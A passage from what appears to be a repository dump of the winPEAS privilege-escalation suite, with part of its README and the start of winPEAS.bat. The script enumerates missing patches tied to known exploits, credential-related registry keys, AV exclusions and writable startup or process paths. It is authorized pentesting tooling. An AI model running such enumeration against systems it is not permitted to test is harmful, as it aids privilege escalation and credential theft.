AppCmd.exe?\n- [x] Check for unattended files\n- [x] Check for SAM & SYSTEM backups\n- [x] Check for cached GPP Passwords\n- [x] Check for McAffe SiteList.xml files\n- [x] Check for Cloud credentials\n- [x] Search for known registry to have passwords and keys inside (Winlogon...)\n- [x] Search for known files to have passwords inside (can take some minutes)\n- [x] If *long*, search files with passwords inside \n- [x] If *long*, search registry with passwords inside \n\n### More enumeration\n\n- [x] Date & Time\n- [x] Env\n- [x] Installed Software\n- [x] Running Processes \n- [x] Current Shares \n- [x] Network Interfaces\n- [x] Used Ports\n- [x] Firewall\n- [x] ARP\n- [x] Routes\n- [x] Hosts\n- [x] Cached DNS\n- [x] Info about current user (PRIVILEGES)\n- [x] List groups (info about administrators)\n- [x] Current logon users \n\n</details>\n\n### Understanding icacls permissions\n\nIcacls is the program used to check the rights that groups and users have in a file or folder.\n\nIclals is the main binary used here to check permissions.\n\nIts output is not intuitive so if you are not familiar with the command, continue reading. Take into account that in XP you need administrators rights to use icacls (for this OS is very recommended to upload sysinternals accesschk.exe to enumerate rights).\n\n**Interesting permissions**\n\n```\nD - Delete access\nF - Full access (Edit_Permissions+Create+Delete+Read+Write)\nN - No access\nM - Modify access (Create+Delete+Read+Write)\nRX - Read and eXecute access\nR - Read-only access\nW - Write-only access\n```\n\nWe will focus in **F** (full), **M** (Modify access) and **W** (write).\n\n**Use of Icacls by WinPEAS**\n\nWhen checking rights of a file or a folder the script search for the strings: *(F)* or *(M)* or *(W)* and the string \":\\\" (so the path of the file being checked will appear inside the output).\n\nIt also checks that the found right (F, M or W) can be exploited by the current user.\n\nA typical output where you dont have any nice access is:\n```\nC:\\Windows\\Explorer.EXE NT SERVICE\\TrustedInstaller:(F)\n```\n\nAn output where you have some interesting privilege will be like:\n```\nC:\\Users\\john\\Desktop\\desktop.ini NT AUTHORITY\\SYSTEM:(I)(F)\n                                MYDOMAIN\\john:(I)(F)\n```\n\nHere you can see that the privileges of user *NT AUTHORITY\\SYSTEM* appears in the output because it is in the same line as the path of the binary. However, in the next line, you can see that our user (john) has full privileges in that file. \n\nThis is the kind of outpuf that you have to look for when usnig the winPEAS.bat script.\n\n[More info about icacls here](https://ss64.com/nt/icacls.html)\n\n## Advisory\n\nAll the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.\n"
  },
  {
    "path": "winPEAS/winPEASbat/winPEAS.bat",
    "content": "@ECHO OFF & SETLOCAL EnableDelayedExpansion\r\nTITLE WinPEAS - Windows local Privilege Escalation Awesome Script\r\nCOLOR 0F\r\nCALL :SetOnce\r\n\r\nREM :: WinPEAS - Windows local Privilege Escalation Awesome Script\r\nREM :: Code by carlospolop; Re-Write by ThisLimn0\r\n\r\nREM Registry scan of other drives besides \r\nREM /////true or false\r\nSET long=false\r\n\r\nREM Check if the current path contains spaces\r\nSET \"CurrentFolder=%~dp0\"\r\nIF \"!CurrentFolder!\" NEQ \"!CurrentFolder: =!\" (\r\n    ECHO winPEAS.bat cannot run if the current path contains spaces.\r\n\tECHO Exiting.\r\n    EXIT /B 1\r\n)\r\n\r\n:Splash\r\nECHO.\r\nCALL :ColorLine \"            %E%32m((,.,/((((((((((((((((((((/,  */%E%97m\"\r\nCALL :ColorLine \"     %E%32m,/*,..*(((((((((((((((((((((((((((((((((,%E%97m\"              \r\nCALL :ColorLine \"   %E%32m,*/((((((((((((((((((/,  %E%92m.*//((//**,%E%32m .*((((((*%E%97m\"       \r\nCALL :ColorLine \"   %E%32m((((((((((((((((* %E%94m*****%E%32m,,,/########## %E%32m.(* ,((((((%E%97m\"   \r\nCALL :ColorLine \"   %E%32m(((((((((((/* %E%94m******************%E%32m/####### %E%32m.(. ((((((%E%97m\"\r\nCALL :ColorLine \"   %E%32m((((((.%E%92m.%E%94m******************%E%97m/@@@@@/%E%94m***%E%92m/######%E%32m /((((((%E%97m\"\r\nCALL :ColorLine \"   %E%32m,,.%E%92m.%E%94m**********************%E%97m@@@@@@@@@@(%E%94m***%E%92m,####%E%32m ../(((((%E%97m\"\r\nCALL :ColorLine \"   %E%32m, ,%E%92m%E%94m**********************%E%97m#@@@@@#@@@@%E%94m*********%E%92m##%E%32m((/ /((((%E%97m\"\r\nCALL :ColorLine \"   %E%32m..((%E%92m(##########%E%94m*********%E%97m/#@@@@@@@@@/%E%94m*************%E%32m,,..((((%E%97m\"\r\nCALL :ColorLine \"   %E%32m.((%E%92m(################(/%E%94m******%E%97m/@@@@@#%E%94m****************%E%32m.. /((%E%97m\"\r\nCALL :ColorLine \"   %E%32m.(%E%92m(########################(/%E%94m************************%E%32m..*(%E%97m\"\r\nCALL :ColorLine \"   %E%32m.(%E%92m(#############################(/%E%94m********************%E%32m.,(%E%97m\"\r\nCALL :ColorLine \"   %E%32m.(%E%92m(##################################(/%E%94m***************%E%32m..(%E%97m\"\r\nCALL :ColorLine \"   %E%32m.(%E%92m(######################################(%E%94m************%E%32m..(%E%97m\"\r\nCALL :ColorLine \"   %E%32m.(%E%92m(######(,.***.,(###################(..***(/%E%94m*********%E%32m..(%E%97m\"\r\nCALL :ColorLine \"   %E%32m.(%E%92m(######*(#####((##################((######/(%E%94m********%E%32m..(%E%97m\"\r\nCALL :ColorLine \"   %E%32m.(%E%92m(##################(/**********(################(%E%94m**%E%32m...(%E%97m\"\r\nCALL :ColorLine \"   %E%32m.((%E%92m(####################/*******(###################%E%32m.((((%E%97m\" \r\nCALL :ColorLine \"   %E%32m.((((%E%92m(############################################/%E%32m  /((%E%97m\"\r\nCALL :ColorLine \"   %E%32m..((((%E%92m(#########################################(%E%32m..(((((.%E%97m\"\r\nCALL :ColorLine \"   %E%32m....((((%E%92m(#####################################(%E%32m .((((((.%E%97m\"\r\nCALL :ColorLine \"   %E%32m......((((%E%92m(#################################(%E%32m .(((((((.%E%97m\"\r\nCALL :ColorLine \"   %E%32m(((((((((. ,%E%92m(############################(%E%32m../(((((((((.%E%97m\"\r\nCALL :ColorLine \"       %E%32m(((((((((/,  %E%92m,####################(%E%32m/..((((((((((.%E%97m\"\r\nCALL :ColorLine \"             %E%32m(((((((((/,.  %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m\"\r\nCALL :ColorLine \"                %E%32m(((((((((((((((((((((((((((/%E%97m\"\r\nECHO.                       by carlospolop\r\nECHO.\r\nECHO.\r\n\r\n:Advisory\r\nREM // Increase progress in title by n percent\r\nCALL :T_Progress 0\r\nECHO./^^!\\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script\r\nCALL :ColorLine \"   %E%41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.%E%40;97m\"\r\nCALL :ColorLine \"   %E%41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.%E%40;97m\"\r\nCALL :ColorLine \"   %E%41mUse it at your own networks and/or with the network owner's permission.%E%40;97m\"\r\nECHO.\r\n\r\n:SystemInfo\r\nCALL :ColorLine \"%E%32m[*]%E%97m BASIC SYSTEM INFO\"\r\nCALL :ColorLine \" %E%33m[+]%E%97m WINDOWS OS\"\r\nECHO.   [i] Check for vulnerabilities for the OS version with the applied patches\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits\r\nsysteminfo\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:ListHotFixes\r\nwhere wmic >nul 2>&1\r\nif %errorlevel% equ 0 (\r\n    wmic qfe get Caption,Description,HotFixID,InstalledOn\r\n) else (\r\n    powershell -command \"Get-HotFix | Format-Table -AutoSize\"\r\n)\r\nset expl=no\r\nfor /f \"tokens=3-9\" %%a in ('systeminfo') do (ECHO.\"%%a %%b %%c %%d %%e %%f %%g\" | findstr /i \"2000 XP 2003 2008 vista\" && set expl=yes) & (ECHO.\"%%a %%b %%c %%d %%e %%f %%g\" | findstr /i /C:\"windows 7\" && set expl=yes)\r\nIF \"%expl%\" == \"yes\" ECHO.   [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB2592799\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB3143141\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB2393802\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB982799\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB979683\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB2305420\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB981957\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB4013081\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB977165\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB941693\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB920958\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB914389\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB908523\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB890859\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB842526\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB835732\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB841872\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB2975684\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB3136041\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB3057191\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB2989935\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB2778930\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB2850851\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)\r\nIF \"%expl%\" == \"yes\" wmic qfe get Caption,Description,HotFixID,InstalledOn 2>nul | findstr /C:\"KB2870008\" 1>NUL\r\nIF \"%expl%\" == \"yes\" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:DateAndTime\r\nCALL :ColorLine \" %E%33m[+]%E%97m DATE and TIME\"\r\nECHO.   [i] You may need to adjust your local date/time to exploit some vulnerability\r\ndate /T\r\ntime /T\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:AuditSettings\r\nCALL :ColorLine \" %E%33m[+]%E%97m Audit Settings\"\r\nECHO.   [i] Check what is being logged\r\nREG QUERY HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit 2>nul\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:WEFSettings\r\nCALL :ColorLine \" %E%33m[+]%E%97m WEF Settings\"\r\nECHO.   [i] Check where are being sent the logs\r\nREG QUERY HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\EventLog\\EventForwarding\\SubscriptionManager 2>nul\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:LAPSInstallCheck\r\nCALL :ColorLine \" %E%33m[+]%E%97m Legacy Microsoft LAPS installed?\"\r\nECHO.   [i] Check what is being logged\r\nREG QUERY \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft Services\\AdmPwd\" /v AdmPwdEnabled 2>nul\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:WindowsLAPSInstallCheck\r\nCALL :ColorLine \" %E%33m[+]%E%97m Windows LAPS installed?\"\r\nECHO.   [i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory\r\nREG QUERY \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Policies\\LAPS\" /v BackupDirectory 2>nul\r\nREG QUERY \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\LAPS\" /v BackupDirectory 2>nul\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:LSAProtectionCheck\r\nCALL :ColorLine \" %E%33m[+]%E%97m LSA protection?\"\r\nECHO.   [i] Active if \"1\"\r\nREG QUERY \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\LSA\" /v RunAsPPL 2>nul\r\nCALL :T_Progress 1\r\n\r\n:LSACredentialGuard\r\nCALL :ColorLine \" %E%33m[+]%E%97m Credential Guard?\"\r\nECHO.   [i] Active if \"1\" or \"2\"\r\nREG QUERY \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\LSA\" /v LsaCfgFlags 2>nul\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:LogonCredentialsPlainInMemory\r\nCALL :ColorLine \" %E%33m[+]%E%97m WDigest?\"\r\nECHO.   [i] Plain-text creds in memory if \"1\"\r\nreg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\UseLogonCredential 2>nul\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:CachedCreds\r\nCALL :ColorLine \" %E%33m[+]%E%97m Number of cached creds\"\r\nECHO.   [i] You need System-rights to extract them\r\nreg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v CACHEDLOGONSCOUNT 2>nul\r\nCALL :T_Progress 1\r\n\r\n:UACSettings\r\nCALL :ColorLine \" %E%33m[+]%E%97m UAC Settings\"\r\nECHO.   [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access\r\nREG QUERY HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ /v EnableLUA 2>nul\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:AVSettings\r\nCALL :ColorLine \" %E%33m[+]%E%97m Registered Anti-Virus(AV)\"\r\nwhere wmic >nul 2>&1\r\nif %errorlevel% equ 0 (\r\n    WMIC /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List\r\n) else (\r\n    powershell -command \"Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Select-Object -ExpandProperty displayName\"\r\n) \r\nECHO.Checking for defender whitelisted PATHS\r\nreg query \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\" 2>nul\r\nCALL :T_Progress 1\r\n\r\n:PSSettings\r\nCALL :ColorLine \" %E%33m[+]%E%97m PowerShell settings\"\r\nECHO.PowerShell v2 Version:\r\nREG QUERY HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine /v PowerShellVersion 2>nul\r\nECHO.PowerShell v5 Version:\r\nREG QUERY HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine /v PowerShellVersion 2>nul\r\nECHO.Transcriptions Settings:\r\nREG QUERY HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription 2>nul\r\nECHO.Module logging settings:\r\nREG QUERY HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging 2>nul\r\nECHO.Scriptblog logging settings:\r\nREG QUERY HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging 2>nul\r\nECHO.\r\nECHO.PS default transcript history\r\ndir %SystemDrive%\\transcripts\\ 2>nul\r\nECHO.\r\nECHO.Checking PS history file\r\ndir \"%APPDATA%\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\" 2>nul\r\nECHO.\r\nCALL :T_Progress 3\r\n\r\n:MountedDisks\r\nCALL :ColorLine \" %E%33m[+]%E%97m MOUNTED DISKS\"\r\nECHO.   [i] Maybe you find something interesting\r\nwhere wmic >nul 2>&1\r\nif %errorlevel% equ 0 (\r\n    wmic logicaldisk get caption\r\n) else (\r\n    fsutil fsinfo drives\r\n)\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:Environment\r\nCALL :ColorLine \" %E%33m[+]%E%97m ENVIRONMENT\"\r\nECHO.   [i] Interesting information?\r\nECHO.\r\nset\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:InstalledSoftware\r\nCALL :ColorLine \" %E%33m[+]%E%97m INSTALLED SOFTWARE\"\r\nECHO.   [i] Some weird software? Check for vulnerabilities in unknow software installed\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications\r\nECHO.\r\ndir /b \"C:\\Program Files\" \"C:\\Program Files (x86)\" | sort\r\nreg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall /s | findstr InstallLocation | findstr \":\\\\\"\r\nreg query HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\ /s | findstr InstallLocation | findstr \":\\\\\"\r\nIF exist C:\\Windows\\CCM\\SCClient.exe ECHO.SCCM is installed (installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading)\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:RemodeDeskCredMgr\r\nCALL :ColorLine \" %E%33m[+]%E%97m Remote Desktop Credentials Manager\"\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager\r\nIF exist \"%LOCALAPPDATA%\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings\" ECHO.Found: RDCMan.settings in %AppLocal%\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings, check for credentials in .rdg files\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:WSUS\r\nCALL :ColorLine \" %E%33m[+]%E%97m WSUS\"\r\nECHO.   [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus\r\nreg query HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\ 2>nul | findstr /i \"wuserver\" | findstr /i \"http://\"\r\nECHO.\r\nCALL :T_Progress 1\r\n\r\n:RunningProcesses\r\nCALL :ColorLine \" %E%33m[+]%E%97m RUNNING PROCESSES\"\r\nECHO.   [i] Something unexpected is running? Check for vulnerabilities\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes\r\ntasklist /SVC\r\nECHO.\r\nCALL :T_Progress 2\r\nECHO.   [i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)\r\nwhere wmic >nul 2>&1\r\nif %errorlevel% equ 0 (\r\n\tfor /f \"tokens=2 delims='='\" %%x in ('wmic process list full ^|find /i \"executablepath\"^|find /i /v \"system32\"^|find \":\"') do (\r\n\t\tfor /f eol^=^\"^ delims^=^\" %%z in ('ECHO.%%x') do (\r\n\t\t\ticacls \"%%z\" 2>nul | findstr /i \"(F) (M) (W) :\\\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO.\r\n\t\t)\r\n\t)\r\n) else (\r\n\tfor /f \"tokens=*\" %%x in ('powershell -command \"Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique\"') do (\r\n\t\ticacls \"%%x\" 2>nul | findstr /i \"(F) (M) (W) :\\\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO.\r\n\t)\r\n)\r\nECHO.\r\nECHO.   [i] Checking directory permissions of running processes (DLL injection)\r\nwhere wmic >nul 2>&1\r\nif %errorlevel% equ 0 (\r\n\tfor /f \"tokens=2 delims='='\" %%x in ('wmic process list full ^|find /i \"executablepath\"^|find /i /v \"system32\"^|find \":\"') do for /f eol^=^\"^ delims^=^\" %%y in ('ECHO.%%x') do (\r\n\t\ticacls \"%%~dpy\\\" 2>nul | findstr /i \"(F) (M) (W) :\\\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO.\r\n\t)\r\n) else (\r\n\tfor /f \"tokens=*\" %%x in ('powershell -command \"Get-Process | Where-Object {$_.Path -and $_.Path -notlike '*system32*'} | Select-Object -ExpandProperty Path -Unique\"') do (\r\n\t\tfor /f \"delims=\" %%d in (\"%%~dpx\") do icacls \"%%d\" 2>nul | findstr /i \"(F) (M) (W) :\\\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO.\r\n\t)\r\n)\r\nECHO.\r\nCALL :T_Progress 3\r\n\r\n:RunAtStartup\r\nCALL :ColorLine \" %E%33m[+]%E%97m RUN AT STARTUP\"\r\nECHO.   [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup\r\n::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^\r\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 2>nul & ^\r\nreg query HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce 2>nul & ^\r\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 2>nul & ^\r\nreg query HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce 2>nul & ^\r\nCALL :T_Progress 2\r\nicacls \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\" 2>nul | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO. & ^\r\nicacls \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\*\" 2>nul | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO. & ^\r\nicacls \"C:\\Documents and Settings\\%username%\\Start Menu\\Programs\\Startup\" 2>nul | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO. & ^\r\nicacls \"C:\\Documents and Settings\\%username%\\Start Menu\\Programs\\Startup\\*\" 2>nul | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO. & ^\r\nCALL :T_Progress 2\r\nicacls \"%programdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" 2>nul | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO. & ^\r\nicacls \"%programdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*\" 2>nul | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO. & ^\r\nicacls \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" 2>nul | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO. & ^\r\nicacls \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*\" 2>nul | findstr /i \"(F) (M) (W) :\\\" | findstr /i \":\\\\ everyone authenticated users todos %username%\" && ECHO. & ^\r\nCALL :T_Progress 2\r\nschtasks /query /fo TABLE /nh | findstr /v /i \"disable deshab informa\")\r\nECHO.\r\nCALL :T_Progress 2\r\n\r\n:AlwaysInstallElevated\r\nCALL :ColorLine \" %E%33m[+]%E%97m AlwaysInstallElevated?\"\r\nECHO.   [i] If '1' then you can install a .msi file with admin privileges ;)\r\nECHO.   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1\r\nreg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2> nul\r\nreg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v 